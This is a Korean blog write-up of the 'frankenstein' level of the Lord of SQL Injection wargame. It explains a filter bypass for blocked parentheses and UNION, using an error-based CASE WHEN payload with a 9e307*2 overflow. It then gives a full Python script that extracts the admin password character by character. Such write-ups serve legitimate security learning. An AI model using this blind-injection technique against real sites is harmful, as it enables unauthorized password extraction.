티스토리 뷰
63번째 글.
1. 코드 분석
union과 괄호를 쓸 수 없었다.
쿼리를 실행하고 에러가 발생하면 'error'를 출력한다.
admin의 pw값을 찾으면 문제가 풀리게 된다.
2. Exploit
일단 괄호가 필터링되기 때문에 주요한 함수를 쓸 수 없다.
또한 union도 막혔다...
에러를 발생시키는 것은 지금껏 많이 했기 때문에 어렵지 않지만
문제는 어떻게 함수와 union을 안 쓰고 우회하느냐 인데
결국은 구글링의 도움으로 case문을 찾았다.
?pw=' or case when id='admin' and pw < 특정값 then 9e307*2 else 1 end%23
이렇게 주게되면 when의 조건이 참이면 9e307*2을 할당해 에러를 발생시킨다.정확한 크기비교를 위해서 hex값을 이용해서 특정값을 넣어줘야 한다.예를 들어 pw가 0x313233이라는 값이고 특정값이 0x31이면 pw가 더 크므로 에러를 발생시키지 않지만특정값이 0x32이면 에러를 발생시킨다. 이런 식으로 pw를 찾으면 된다.
import requests
import string
sess = requests.session()
headers = {'Cookie': 'PHPSESSID=YOURSESSID'}
admin_password = '0x'
previous = ''
ascii_printable = string.printable
## get password
for i in range(1,9):
for j in ascii_printable:
print((hex(ord(j))))
url = f"https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw=' or case when id='admin' and pw < {admin_password+hex(ord(j))[2:]} then 9e307*2 else 1 end%23"
res = sess.get(url, headers=headers)
print(res.text)
if('<br>error' in res.text):
if previous == '':
previous = j
admin_password = admin_password+hex(ord(previous))[2:]
print(admin_password)
break
previous = j
print("Admin Password is " ,bytes.fromhex(admin_password[2:]).decode('ASCII'))
Reference
https://info-lab.tistory.com/305 //CASE 사용하기
'writeup > LOS' 카테고리의 다른 글
[Lord of SQL injection] ouroboros (0) | 2021.08.18 |
---|---|
[Lord of SQL injection] phantom (0) | 2021.08.16 |
[Lord of SQL injection] blue_dragon (0) | 2021.08.09 |
[Lord of SQL injection] red_dragon (0) | 2021.08.05 |
[Lord of SQL injection] green_dragon (0) | 2021.08.02 |
공지사항
최근에 올라온 글
최근에 달린 댓글
- Total
- Today
- Yesterday
링크
TAG
- hack the box
- htb
- dreamhack Relative Path Overwrite
- DreamHack
- 드림핵
- csp bypass
- htb Windows Fundametals
- dreamhack web-alasql
- alasql
- Windows Fundamentals
- php LFI
- CSS Injection
- 드림핵 padding oracle
- WebHacking
- LFI vulnerability
- 드림핵 DOM XSS
- dreamhack padding oracle
- 드림핵 Relative Path Overwrite
- webhacking.kr
- csp
- dreamhack DOM XSS
- blind injection
- wargame
- hackerfactory
- 웹해킹
- 해커팩토리
- xxe injection
- SQL Injection
- dreamhack CSS Injection
- Lord of SQL injection
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | |
7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 |
21 | 22 | 23 | 24 | 25 | 26 | 27 |
28 | 29 | 30 | 31 |
글 보관함